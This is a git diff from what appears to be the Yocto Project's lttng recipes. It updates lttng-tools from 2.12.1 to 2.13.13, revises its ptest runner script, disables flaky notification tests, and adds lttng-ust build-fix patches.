diff --git a/meta/recipes-kernel/lttng/lttng-tools/0001-tests-gen-ust-events-ns-tp.h-Fix-build-with-musl-lib.patch b/meta/recipes-kernel/lttng/lttng-tools/0001-tests-gen-ust-events-ns-tp.h-Fix-build-with-musl-lib.patch
deleted file mode 100644
index a150d648ab..0000000000
--- a/meta/recipes-kernel/lttng/lttng-tools/0001-tests-gen-ust-events-ns-tp.h-Fix-build-with-musl-lib.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From e5d94cf4882cc6516af52b794c6acb8e4d6469a3 Mon Sep 17 00:00:00 2001
-From: Ovidiu Panait <ovidiu.panait@windriver.com>
-Date: Mon, 18 May 2020 16:39:26 +0300
-Subject: [PATCH] tests: gen-ust-events-ns/tp.h: Fix build with musl libc
-
-Fix the following build error with musl libc:
-In file included from ../../../../../lttng-tools-2.12.0/tests/utils/testapp/gen-ust-events-ns/tp.h:14,
- from ../../../../../lttng-tools-2.12.0/tests/utils/testapp/gen-ust-events-ns/tp.c:10:
-../../../../../lttng-tools-2.12.0/tests/utils/testapp/gen-ust-events-ns/tp.h:17:10: error: unknown type name 'ino_t'; did you mean 'int8_t'?
- 17 | TP_ARGS(ino_t, ns_ino),
- | ^~~~~
-../../../../../lttng-tools-2.12.0/tests/utils/testapp/gen-ust-events-ns/tp.h:17:10: error: unknown type name 'ino_t'; did you mean 'int8_t'?
- 17 | TP_ARGS(ino_t, ns_ino),
- | ^~~~~
-../../../../../lttng-tools-2.12.0/tests/utils/testapp/gen-ust-events-ns/./tp.h:17:2: error: unknown type name 'ino_t'; did you mean 'int8_t'?
- 17 | TP_ARGS(ino_t, ns_ino),
- | ^~~~~~~
-../../../../../lttng-tools-2.12.0/tests/utils/testapp/gen-ust-events-ns/./tp.h:17:2: error: unknown type name 'ino_t'; did you mean 'int8_t'?
- 17 | TP_ARGS(ino_t, ns_ino),
- | ^~~~~~~
-
-Upstream-Status: Submitted [https://github.com/lttng/lttng-tools/pull/161]
-
-Signed-off-by: Ovidiu Panait <ovidiu.panait@windriver.com>
----
- tests/utils/testapp/gen-ust-events-ns/tp.h | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/tests/utils/testapp/gen-ust-events-ns/tp.h b/tests/utils/testapp/gen-ust-events-ns/tp.h
-index 4dbfed5..e0ddb29 100644
---- a/tests/utils/testapp/gen-ust-events-ns/tp.h
-+++ b/tests/utils/testapp/gen-ust-events-ns/tp.h
-@@ -11,6 +11,7 @@
- #if !defined(_TRACEPOINT_TP_H) || defined(TRACEPOINT_HEADER_MULTI_READ)
- #define _TRACEPOINT_TP_H
-
-+#include <sys/types.h>
- #include <lttng/tracepoint.h>
-
- TRACEPOINT_EVENT(tp, tptest,
---
-2.17.1
-
diff --git a/meta/recipes-kernel/lttng/lttng-tools/0001-tests-regression-disable-the-tools-live-tests.patch b/meta/recipes-kernel/lttng/lttng-tools/0001-tests-regression-disable-the-tools-live-tests.patch
deleted file mode 100644
index f2c14ecc94..0000000000
--- a/meta/recipes-kernel/lttng/lttng-tools/0001-tests-regression-disable-the-tools-live-tests.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From c69b68e5c03f1d260025fb1dd9ab7345e31e15ef Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 24 Jan 2020 18:03:25 +0100
-Subject: [PATCH] tests/regression: disable the tools/live tests
-
-They have been found to sporadically fail; the issue has been
-reported upstream and they will work to investigate and fix:
-https://bugs.lttng.org/issues/1217
-
-Upstream-Status: Inappropriate [upstream is working on a real fix]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- tests/regression/Makefile.am | 4 ----
- 1 file changed, 4 deletions(-)
-
-diff --git a/tests/regression/Makefile.am b/tests/regression/Makefile.am
-index 73eb9f7..b92bdbd 100644
---- a/tests/regression/Makefile.am
-+++ b/tests/regression/Makefile.am
-@@ -9,14 +9,10 @@ TESTS = tools/filtering/test_invalid_filter \
- tools/filtering/test_valid_filter \
- tools/streaming/test_ust \
- tools/health/test_thread_ok \
-- tools/live/test_ust \
-- tools/live/test_ust_tracefile_count \
-- tools/live/test_lttng_ust \
- tools/tracefile-limits/test_tracefile_count \
- tools/tracefile-limits/test_tracefile_size \
- tools/exclusion/test_exclusion \
- tools/snapshots/test_ust_fast \
-- tools/snapshots/test_ust_streaming \
- tools/save-load/test_save \
- tools/save-load/test_load \
- tools/save-load/test_autoload \
diff --git a/meta/recipes-kernel/lttng/lttng-tools/disable-tests.patch b/meta/recipes-kernel/lttng/lttng-tools/disable-tests.patch
new file mode 100644
index 0000000000..3a77ea2e43
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-tools/disable-tests.patch
@@ -0,0 +1,34 @@
+Upstream-Status: Inappropriate [need to root cause the test hangs]
+
+We keep seeing hangs in the tools/notifications tests on x86 and arm for
+a variety of distros. Exclude them for now to work out if this is the
+only place we see them and give SWAT/triage a break from the stream
+of them.
+
+https://bugzilla.yoctoproject.org/show_bug.cgi?id=14263
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: lttng-tools-2.13.1/tests/regression/Makefile.am
+===================================================================
+--- lttng-tools-2.13.1.orig/tests/regression/Makefile.am
++++ lttng-tools-2.13.1/tests/regression/Makefile.am
+@@ -29,18 +29,6 @@ TESTS = tools/base-path/test_ust \
+ tools/crash/test_crash \
+ tools/regen-metadata/test_ust \
+ tools/regen-statedump/test_ust \
+- tools/notification/test_notification_ust_error \
+- tools/notification/test_notification_ust_buffer_usage \
+- tools/notification/test_notification_ust_capture \
+- tools/notification/test_notification_ust_event_rule_condition_exclusion \
+- tools/notification/test_notification_kernel_error \
+- tools/notification/test_notification_kernel_buffer_usage \
+- tools/notification/test_notification_kernel_capture \
+- tools/notification/test_notification_kernel_instrumentation \
+- tools/notification/test_notification_kernel_syscall \
+- tools/notification/test_notification_notifier_discarded_count \
+- tools/notification/test_notification_kernel_userspace_probe \
+- tools/notification/test_notification_multi_app \
+ tools/rotation/test_ust \
+ tools/rotation/test_kernel \
+ tools/rotation/test_save_load_mi \
diff --git a/meta/recipes-kernel/lttng/lttng-tools/run-ptest b/meta/recipes-kernel/lttng/lttng-tools/run-ptest
index eaa2e7b29d..39d93e2bbf 100755
--- a/meta/recipes-kernel/lttng/lttng-tools/run-ptest
+++ b/meta/recipes-kernel/lttng/lttng-tools/run-ptest
@@ -1,6 +1,45 @@
#!/bin/sh
# Without --ignore-exit, the tap harness causes any FAILs within a
# test plan to raise ERRORs; this is just noise.
-makeargs="LOG_DRIVER_FLAGS=--ignore-exit top_srcdir=$PWD top_builddir=$PWD"
-make -k -t all >/dev/null 2>&1
-exec make -k -s $makeargs check 2>/dev/null | sed -e 's#/tmp/tmp\...........#/tmp/tmp.XXXXXXXXXX#g'
+
+#Detecting whether current system has lttng kernel modules
+LTTNG_KMOD_PATH=/lib/modules/$(uname -r)/kernel/lttng-modules/lttng-tracer.ko
+function validate_lttng_modules_present()
+{
+ # Check for loadable modules.
+ if [ -f "$LTTNG_KMOD_PATH" ]; then
+ return 0
+ fi
+
+ # Check for builtin modules.
+ ls /proc/lttng > /dev/null 2>&1
+ if [ $? -eq 0 ]; then
+ return 0
+ fi
+
+ return 1
+}
+
+export LD_LIBRARY_PATH=FIXMEPTESTPATH/tests/utils/testapp/userspace-probe-elf-binary/.libs
+makeargs="LOG_DRIVER_FLAGS=--ignore-exit top_srcdir=FIXMEPTESTPATH top_builddir=FIXMEPTESTPATH"
+
+#If current system doesn't have lttng kernel modules, disable lttng kernel related tests.
+validate_lttng_modules_present || {
+ makeargs="$makeargs LTTNG_TOOLS_DISABLE_KERNEL_TESTS=1"
+}
+
+make -k -t all >error.log 2>&1
+# Can specify a test e.g.:
+# -C tests/regression/ check TESTS='kernel/test_callstack'
+make -k -s $makeargs check 2>error.log | sed -e 's#/tmp/tmp\...........#/tmp/tmp.XXXXXXXXXX#g'
+exitcode=$?
+if [ -e error.log ]; then
+ cat error.log
+fi
+if [ -e tests/unit/test-suite.log ]; then
+ cat tests/unit/test-suite.log
+fi
+if [ -e tests/regression/test-suite.log ]; then
+ cat tests/regression/test-suite.log
+fi
+exit $exitcode
diff --git a/meta/recipes-kernel/lttng/lttng-tools_2.12.1.bb b/meta/recipes-kernel/lttng/lttng-tools_2.12.1.bb
deleted file mode 100644
index 094e33db71..0000000000
--- a/meta/recipes-kernel/lttng/lttng-tools_2.12.1.bb
+++ /dev/null
@@ -1,165 +0,0 @@
-SECTION = "devel"
-SUMMARY = "Linux Trace Toolkit Control"
-DESCRIPTION = "The Linux trace toolkit is a suite of tools designed \
-to extract program execution details from the Linux operating system \
-and interpret them."
-
-LICENSE = "GPLv2 & LGPLv2.1"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=40ef17463fbd6f377db3c47b1cbaded8 \
- file://LICENSES/GPL-2.0;md5=e68f69a54b44ba526ad7cb963e18fbce \
- file://LICENSES/LGPL-2.1;md5=9920968d0f2ff585ce61fae30344dd95"
-
-DEPENDS = "liburcu popt libxml2 util-linux"
-RDEPENDS_${PN} = "libgcc"
-RDEPENDS_${PN}-ptest += "make perl bash gawk babeltrace procps perl-module-overloading coreutils util-linux kmod lttng-modules sed python3-core"
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-utils"
-RDEPENDS_${PN}-ptest_append_libc-musl = " musl-utils"
-# babelstats.pl wants getopt-long
-RDEPENDS_${PN}-ptest += "perl-module-getopt-long"
-
-PYTHON_OPTION = "am_cv_python_pyexecdir='${PYTHON_SITEPACKAGES_DIR}' \
- am_cv_python_pythondir='${PYTHON_SITEPACKAGES_DIR}' \
- PYTHON_INCLUDE='-I${STAGING_INCDIR}/python${PYTHON_BASEVERSION}${PYTHON_ABI}' \
-"
-PACKAGECONFIG ??= "lttng-ust"
-PACKAGECONFIG[python] = "--enable-python-bindings ${PYTHON_OPTION},,python3 swig-native"
-PACKAGECONFIG[lttng-ust] = "--with-lttng-ust, --without-lttng-ust, lttng-ust"
-PACKAGECONFIG[kmod] = "--with-kmod, --without-kmod, kmod"
-PACKAGECONFIG[manpages] = "--enable-man-pages, --disable-man-pages, asciidoc-native xmlto-native libxslt-native"
-PACKAGECONFIG_remove_arc = "lttng-ust"
-
-SRC_URI = "https://lttng.org/files/lttng-tools/lttng-tools-${PV}.tar.bz2 \
- file://0001-tests-do-not-strip-a-helper-library.patch \
- file://run-ptest \
- file://lttng-sessiond.service \
- file://0001-tests-regression-disable-the-tools-live-tests.patch \
- file://0001-tests-gen-ust-events-ns-tp.h-Fix-build-with-musl-lib.patch \
- "
-
-SRC_URI[sha256sum] = "0de7afc1f40a5acbede933cdfd6cf47b32ff84d02e170a1321f7fc86141585b8"
-
-inherit autotools ptest pkgconfig useradd python3-dir manpages systemd
-
-SYSTEMD_SERVICE_${PN} = "lttng-sessiond.service"
-SYSTEMD_AUTO_ENABLE = "disable"
-
-USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "tracing"
-
-FILES_${PN} += "${libdir}/lttng/libexec/* ${datadir}/xml/lttng \
- ${PYTHON_SITEPACKAGES_DIR}/*"
-FILES_${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/*.a"
-FILES_${PN}-dev += "${PYTHON_SITEPACKAGES_DIR}/*.la"
-
-# Since files are installed into ${libdir}/lttng/libexec we match
-# the libexec insane test so skip it.
-# Python module needs to keep _lttng.so
-INSANE_SKIP_${PN} = "libexec dev-so"
-INSANE_SKIP_${PN}-dbg = "libexec"
-
-PRIVATE_LIBS_${PN}-ptest = "libfoo.so"
-
-do_install_append () {
- # install systemd unit file
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/lttng-sessiond.service ${D}${systemd_unitdir}/system
-}
-
-do_install_ptest () {
- for f in Makefile tests/Makefile tests/utils/utils.sh tests/regression/tools/save-load/load-42*.lttng tests/regression/tools/save-load/configuration/load-42*.lttng tests/regression/tools/health/test_health.sh tests/regression/tools/metadata/utils.sh tests/regression/tools/rotation/rotate_utils.sh; do
- install -D "${B}/$f" "${D}${PTEST_PATH}/$f"
- done
-
- for f in config/tap-driver.sh config/test-driver src/common/config/session.xsd src/common/mi-lttng-4.0.xsd; do
- install -D "${S}/$f" "${D}${PTEST_PATH}/$f"
- done
-
- # Prevent 'make check' from recursing into non-test subdirectories.
- sed -i -e 's!^SUBDIRS = .*!SUBDIRS = tests!' "${D}${PTEST_PATH}/Makefile"
-
- # We don't need these
- sed -i -e '/dist_noinst_SCRIPTS = /,/^$/d' "${D}${PTEST_PATH}/tests/Makefile"
-
- # We shouldn't need to build anything in tests/utils
- sed -i -e 's!am__append_1 = . utils!am__append_1 = . !' \
- "${D}${PTEST_PATH}/tests/Makefile"
-
- # Copy the tests directory tree and the executables and
- # Makefiles found within.
- for d in $(find "${B}/tests" -type d -not -name .libs -printf '%P ') ; do
- install -d "${D}${PTEST_PATH}/tests/$d"
- find "${B}/tests/$d" -maxdepth 1 -executable -type f \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
- # Take all .py scripts for tests using the python bindings.
- find "${B}/tests/$d" -maxdepth 1 -type f -name "*.py" \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
- test -r "${B}/tests/$d/Makefile" && \
- install -t "${D}${PTEST_PATH}/tests/$d" "${B}/tests/$d/Makefile"
- done
-
- for d in $(find "${B}/tests" -type d -name .libs -printf '%P ') ; do
- for f in $(find "${B}/tests/$d" -maxdepth 1 -executable -type f -printf '%P ') ; do
- cp ${B}/tests/$d/$f ${D}${PTEST_PATH}/tests/`dirname $d`/$f
- case $f in
- *.so)
- install -d ${D}${PTEST_PATH}/tests/$d/
- ln -s ../$f ${D}${PTEST_PATH}/tests/$d/$f
- # Remove any rpath/runpath to pass QA check.
- chrpath --delete ${D}${PTEST_PATH}/tests/$d/$f
- ;;
- esac
- done
- done
-
- chrpath --delete ${D}${PTEST_PATH}/tests/utils/testapp/userspace-probe-elf-binary/userspace-probe-elf-binary
-
- #
- # Use the versioned libs of liblttng-ust-dl.
- #
- ustdl="${D}${PTEST_PATH}/tests/regression/ust/ust-dl/test_ust-dl.py"
- if [ -e $ustdl ]; then
- sed -i -e 's!:liblttng-ust-dl.so!:liblttng-ust-dl.so.0!' $ustdl
- fi
-
- install ${B}/tests/unit/ini_config/sample.ini ${D}${PTEST_PATH}/tests/unit/ini_config/
-
- # We shouldn't need to build anything in tests/regression/tools
- sed -i -e 's!^SUBDIRS = tools !SUBDIRS = !' \
- "${D}${PTEST_PATH}/tests/regression/Makefile"
-
- # Prevent attempts to update Makefiles during test runs, and
- # silence "Making check in $SUBDIR" messages.
- find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
- sed -i -e '/Makefile:/,/^$/d' -e '/%: %.in/,/^$/d' \
- -e '/echo "Making $$target in $$subdir"; \\/d' \
- -e 's/^srcdir = \(.*\)/srcdir = ./' \
- -e 's/^builddir = \(.*\)/builddir = ./' \
- -e 's/^all-am:.*/all-am:/' \
- {} +
-
- find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
- touch -r "${B}/Makefile" {} +
-
- #
- # Need to stop generated binaries from rebuilding by removing their source dependencies
- #
- sed -e 's#\(^test.*OBJECTS.=\)#disable\1#g' \
- -e 's#\(^test.*DEPENDENCIES.=\)#disable\1#g' \
- -e 's#\(^test.*SOURCES.=\)#disable\1#g' \
- -e 's#\(^test.*LDADD.=\)#disable\1#g' \
- -i ${D}${PTEST_PATH}/tests/unit/Makefile
-
- # Substitute links to installed binaries.
- for prog in lttng lttng-relayd lttng-sessiond lttng-consumerd lttng-crash; do
- exedir="${D}${PTEST_PATH}/src/bin/${prog}"
- install -d "$exedir"
- case "$prog" in
- lttng-consumerd)
- ln -s "${libdir}/lttng/libexec/$prog" "$exedir"
- ;;
- *)
- ln -s "${bindir}/$prog" "$exedir"
- ;;
- esac
- done
-}
diff --git a/meta/recipes-kernel/lttng/lttng-tools_2.13.13.bb b/meta/recipes-kernel/lttng/lttng-tools_2.13.13.bb
new file mode 100644
index 0000000000..174dec036e
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-tools_2.13.13.bb
@@ -0,0 +1,197 @@
+SECTION = "devel"
+SUMMARY = "Linux Trace Toolkit Control"
+DESCRIPTION = "The Linux trace toolkit is a suite of tools designed \
+to extract program execution details from the Linux operating system \
+and interpret them."
+HOMEPAGE = "https://github.com/lttng/lttng-tools"
+
+LICENSE = "GPL-2.0-only & LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=40ef17463fbd6f377db3c47b1cbaded8 \
+ file://LICENSES/GPL-2.0;md5=e68f69a54b44ba526ad7cb963e18fbce \
+ file://LICENSES/LGPL-2.1;md5=9920968d0f2ff585ce61fae30344dd95"
+
+include lttng-platforms.inc
+
+DEPENDS = "liburcu popt libxml2 util-linux bison-native"
+RDEPENDS:${PN} = "libgcc"
+RRECOMMENDS:${PN} += "${LTTNGMODULES}"
+RDEPENDS:${PN}-ptest += "make perl bash gawk babeltrace procps perl-module-overloading coreutils util-linux kmod ${LTTNGMODULES} sed python3-core grep binutils"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-utils"
+RDEPENDS:${PN}-ptest:append:libc-musl = " musl-utils"
+# babelstats.pl wants getopt-long
+RDEPENDS:${PN}-ptest += "perl-module-getopt-long"
+
+PYTHON_OPTION = "am_cv_python_pyexecdir='${PYTHON_SITEPACKAGES_DIR}' \
+ am_cv_python_pythondir='${PYTHON_SITEPACKAGES_DIR}' \
+ PYTHON_INCLUDE='-I${STAGING_INCDIR}/python${PYTHON_BASEVERSION}${PYTHON_ABI}' \
+"
+PACKAGECONFIG ??= "${LTTNGUST} kmod"
+PACKAGECONFIG[python] = "--enable-python-bindings ${PYTHON_OPTION},,python3 swig-native"
+PACKAGECONFIG[lttng-ust] = "--with-lttng-ust, --without-lttng-ust, lttng-ust"
+PACKAGECONFIG[kmod] = "--with-kmod, --without-kmod, kmod"
+PACKAGECONFIG[manpages] = "--enable-man-pages, --disable-man-pages, asciidoc-native xmlto-native libxslt-native"
+
+SRC_URI = "https://lttng.org/files/lttng-tools/lttng-tools-${PV}.tar.bz2 \
+ file://0001-tests-do-not-strip-a-helper-library.patch \
+ file://run-ptest \
+ file://lttng-sessiond.service \
+ file://disable-tests.patch \
+ file://0001-compat-Define-off64_t-as-off_t-on-linux.patch \
+ file://0001-tests-add-check_skip_kernel_test-to-check-root-user-.patch \
+ file://0001-Fix-rotation-destroy-flush-fix-session-daemon-abort-.patch \
+ "
+
+SRC_URI[sha256sum] = "ff5f4f00b081dac66092afe8e72b7c790670931cf1c1ee0deaa7f80fbc53883e"
+
+inherit autotools ptest pkgconfig useradd python3-dir manpages systemd
+
+CACHED_CONFIGUREVARS = "PGREP=/usr/bin/pgrep"
+
+SYSTEMD_SERVICE:${PN} = "lttng-sessiond.service"
+SYSTEMD_AUTO_ENABLE = "disable"
+
+USERADD_PACKAGES = "${PN}"
+GROUPADD_PARAM:${PN} = "tracing"
+
+FILES:${PN} += "${libdir}/lttng/libexec/* ${datadir}/xml/lttng \
+ ${PYTHON_SITEPACKAGES_DIR}/*"
+FILES:${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/*.a"
+FILES:${PN}-dev += "${PYTHON_SITEPACKAGES_DIR}/*.la"
+
+# Since files are installed into ${libdir}/lttng/libexec we match
+# the libexec insane test so skip it.
+# Python module needs to keep _lttng.so
+INSANE_SKIP:${PN} = "libexec dev-so"
+INSANE_SKIP:${PN}-dbg = "libexec"
+
+PRIVATE_LIBS:${PN}-ptest = "libfoo.so"
+
+do_install:append () {
+ # install systemd unit file
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/lttng-sessiond.service ${D}${systemd_system_unitdir}
+}
+
+do_install_ptest () {
+ for f in Makefile tests/Makefile tests/utils/utils.sh tests/regression/tools/save-load/*.lttng \
+ tests/regression/tools/save-load/configuration/load-42*.lttng tests/regression/tools/health/test_health.sh \
+ tests/regression/tools/metadata/utils.sh tests/regression/tools/rotation/rotate_utils.sh \
+ tests/regression/tools/notification/util_event_generator.sh \
+ tests/regression/tools/base-path/*.lttng; do
+ install -D "${B}/$f" "${D}${PTEST_PATH}/$f"
+ done
+
+ for f in tests/utils/tap-driver.sh config/test-driver src/common/config/session.xsd src/common/mi-lttng-4.1.xsd; do
+ install -D "${S}/$f" "${D}${PTEST_PATH}/$f"
+ done
+
+ # Patch in the correct path for the custom libraries a helper executable needs
+ sed -i -e 's!FIXMEPTESTPATH!${PTEST_PATH}!g' "${D}${PTEST_PATH}/run-ptest"
+
+ # Prevent 'make check' from recursing into non-test subdirectories.
+ sed -i -e 's!^SUBDIRS = .*!SUBDIRS = tests!' "${D}${PTEST_PATH}/Makefile"
+
+ # We don't need these
+ sed -i -e '/dist_noinst_SCRIPTS = /,/^$/d' "${D}${PTEST_PATH}/tests/Makefile"
+
+ # We shouldn't need to build anything in tests/utils
+ sed -i -e 's!am__append_1 = . utils!am__append_1 = . !' \
+ "${D}${PTEST_PATH}/tests/Makefile"
+
+ # Copy the tests directory tree and the executables and
+ # Makefiles found within.
+ for d in $(find "${B}/tests" -type d -not -name .libs -printf '%P ') ; do
+ install -d "${D}${PTEST_PATH}/tests/$d"
+ find "${B}/tests/$d" -maxdepth 1 -executable -type f \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
+ # Take all .py scripts for tests using the python bindings.
+ find "${B}/tests/$d" -maxdepth 1 -type f -name "*.py" \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
+ test -r "${B}/tests/$d/Makefile" && \
+ install -t "${D}${PTEST_PATH}/tests/$d" "${B}/tests/$d/Makefile"
+ done
+
+ for d in $(find "${B}/tests" -type d -name .libs -printf '%P ') ; do
+ for f in $(find "${B}/tests/$d" -maxdepth 1 -executable -type f -printf '%P ') ; do
+ cp ${B}/tests/$d/$f ${D}${PTEST_PATH}/tests/`dirname $d`/$f
+ case $f in
+ *.so|userspace-probe-elf-*)
+ install -d ${D}${PTEST_PATH}/tests/$d/
+ ln -s ../$f ${D}${PTEST_PATH}/tests/$d/$f
+ # Remove any rpath/runpath to pass QA check.
+ chrpath --delete ${D}${PTEST_PATH}/tests/$d/$f
+ ;;
+ esac
+ done
+ done
+
+ chrpath --delete ${D}${PTEST_PATH}/tests/utils/testapp/userspace-probe-elf-binary/userspace-probe-elf-binary
+ chrpath --delete ${D}${PTEST_PATH}/tests/utils/testapp/userspace-probe-elf-cxx-binary/userspace-probe-elf-cxx-binary
+ chrpath --delete ${D}${PTEST_PATH}/tests/regression/ust/ust-dl/libbar.so
+ chrpath --delete ${D}${PTEST_PATH}/tests/regression/ust/ust-dl/libfoo.so
+
+ #
+ # Use the versioned libs of liblttng-ust-dl.
+ #
+ ustdl="${D}${PTEST_PATH}/tests/regression/ust/ust-dl/test_ust-dl.py"
+ if [ -e $ustdl ]; then
+ sed -i -e 's!:liblttng-ust-dl.so!:liblttng-ust-dl.so.0!' $ustdl
+ fi
+
+ install ${B}/tests/unit/ini_config/sample.ini ${D}${PTEST_PATH}/tests/unit/ini_config/
+
+ # We shouldn't need to build anything in tests/regression/tools
+ sed -i -e 's!^SUBDIRS = tools !SUBDIRS = !' \
+ "${D}${PTEST_PATH}/tests/regression/Makefile"
+
+ # Prevent attempts to update Makefiles during test runs, and
+ # silence "Making check in $SUBDIR" messages.
+ find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
+ sed -i -e '/Makefile:/,/^$/d' -e '/%: %.in/,/^$/d' \
+ -e '/echo "Making $$target in $$subdir"; \\/d' \
+ -e 's/^srcdir = \(.*\)/srcdir = ./' \
+ -e 's/^builddir = \(.*\)/builddir = ./' \
+ -e 's/^all-am:.*/all-am:/' \
+ {} +
+
+ find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
+ touch -r "${B}/Makefile" {} +
+
+ #
+ # Need to stop generated binaries from rebuilding by removing their source dependencies
+ #
+ sed -e 's#\(^test.*OBJECTS.=\)#disable\1#g' \
+ -e 's#\(^test.*DEPENDENCIES.=\)#disable\1#g' \
+ -e 's#\(^test.*SOURCES.=\)#disable\1#g' \
+ -e 's#\(^test.*LDADD.=\)#disable\1#g' \
+ -i ${D}${PTEST_PATH}/tests/unit/Makefile
+
+ # Fix hardcoded build path
+ sed -e 's#TESTAPP_PATH=.*/tests/regression/#TESTAPP_PATH="${PTEST_PATH}/tests/regression/#' \
+ -i ${D}${PTEST_PATH}/tests/regression/ust/python-logging/test_python_logging
+
+ # Substitute links to installed binaries.
+ for prog in lttng lttng-relayd lttng-sessiond lttng-consumerd lttng-crash; do
+ exedir="${D}${PTEST_PATH}/src/bin/${prog}"
+ install -d "$exedir"
+ case "$prog" in
+ lttng-consumerd)
+ ln -s "${libdir}/lttng/libexec/$prog" "$exedir"
+ ;;
+ *)
+ ln -s "${bindir}/$prog" "$exedir"
+ ;;
+ esac
+ done
+}
+
+INHIBIT_PACKAGE_STRIP_FILES = "\
+ ${PKGD}${PTEST_PATH}/tests/utils/testapp/userspace-probe-elf-binary/userspace-probe-elf-binary \
+ ${PKGD}${PTEST_PATH}/tests/utils/testapp/userspace-probe-elf-binary/.libs/userspace-probe-elf-binary \
+ ${PKGD}${PTEST_PATH}/tests/utils/testapp/userspace-probe-elf-cxx-binary/userspace-probe-elf-cxx-binary \
+ ${PKGD}${PTEST_PATH}/tests/utils/testapp/userspace-probe-elf-cxx-binary/.libs/userspace-probe-elf-cxx-binary \
+ ${PKGD}${PTEST_PATH}/tests/utils/testapp/gen-syscall-events/gen-syscall-events \
+ ${PKGD}${PTEST_PATH}/tests/utils/testapp/gen-syscall-events/.libs/gen-syscall-events \
+ ${PKGD}${PTEST_PATH}/tests/utils/testapp/gen-syscall-events-callstack/gen-syscall-events-callstack \
+ ${PKGD}${PTEST_PATH}/tests/utils/testapp/gen-syscall-events-callstack/.libs/gen-syscall-events-callstack \
+ "
diff --git a/meta/recipes-kernel/lttng/lttng-ust/0001-Makefile.am-update-rpath-link.patch b/meta/recipes-kernel/lttng/lttng-ust/0001-Makefile.am-update-rpath-link.patch
new file mode 100644
index 0000000000..6aca8f85fa
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-ust/0001-Makefile.am-update-rpath-link.patch
@@ -0,0 +1,33 @@
+From 7d053804ab3823d40ae10d90f4efc49dbfb4cb66 Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Wed, 22 Sep 2021 16:33:10 +0800
+Subject: [PATCH] Makefile.am: update rpath link
+
+since commit 6339062 Move liblttng-ust to 'src/lib/',
+liblttng-ust.so/liblttng-ust-common.so/liblttng-ust-tracepoint.so
+'s location changed from one dir to multiple dirs. which make below
+error:
+ld: warning: liblttng-ust-common.so.1, needed by ../../../src/lib/lttng-ust/.libs/liblttng-ust.so, not found (try using -rpath or -rpath-link)
+ld: warning: liblttng-ust-tracepoint.so.1, needed by ../../../src/lib/lttng-ust/.libs/liblttng-ust.so, not found (try using -rpath or -rpath-link)
+
+Upstream-Status: Submitted [https://github.com/lttng/lttng-ust/pull/61]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+
+---
+ doc/examples/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/doc/examples/Makefile.am b/doc/examples/Makefile.am
+index 57782cc..d46caa6 100644
+--- a/doc/examples/Makefile.am
++++ b/doc/examples/Makefile.am
+@@ -167,7 +167,7 @@ all-local:
+ CFLAGS='$(CFLAGS)' \
+ AM_CFLAGS='$(AM_CFLAGS)' \
+ LDFLAGS="$(LDFLAGS)" \
+- AM_LDFLAGS='$(AM_LDFLAGS) -L../../../src/lib/lttng-ust/.libs -Wl,-rpath="$(PWD)/../../src/lib/lttng-ust/.libs/" -Wl,-rpath-link="$(PWD)/../../src/lib/lttng-ust/.libs/"' \
++ AM_LDFLAGS='$(AM_LDFLAGS) -L../../../src/lib/lttng-ust/.libs -Wl,-rpath="$(PWD)/../../src/lib/lttng-ust/.libs/" -Wl,-rpath-link="$(PWD)/../../src/lib/lttng-ust/.libs/:$(PWD)/../../src/lib/lttng-ust-tracepoint/.libs:$(PWD)/../../src/lib/lttng-ust-common/.libs/"' \
+ LTTNG_GEN_TP_PATH="$$rel_src_subdir$(top_srcdir)/tools/" \
+ AM_V_P="$(AM_V_P)" \
+ AM_V_at="$(AM_V_at)" \
diff --git a/meta/recipes-kernel/lttng/lttng-ust/0001-lttng-ust-common-link-with-liburcu-explicitly.patch b/meta/recipes-kernel/lttng/lttng-ust/0001-lttng-ust-common-link-with-liburcu-explicitly.patch
new file mode 100644
index 0000000000..e85dbdb439
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-ust/0001-lttng-ust-common-link-with-liburcu-explicitly.patch
@@ -0,0 +1,26 @@
+From 27402453f25fbdb5a9fb1a1b88d1c4d9852187d2 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Sun, 5 Sep 2021 10:44:19 +0200
+Subject: [PATCH] lttng-ust-common: link with liburcu explicitly
+
+Otherwise linking errors are seen on x86-32.
+
+Upstream-Status: Submitted [by email to lttng-dev, Francis, Jonathan]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ src/lib/lttng-ust-common/Makefile.am | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/lib/lttng-ust-common/Makefile.am b/src/lib/lttng-ust-common/Makefile.am
+index 1ccc290..6531fa0 100644
+--- a/src/lib/lttng-ust-common/Makefile.am
++++ b/src/lib/lttng-ust-common/Makefile.am
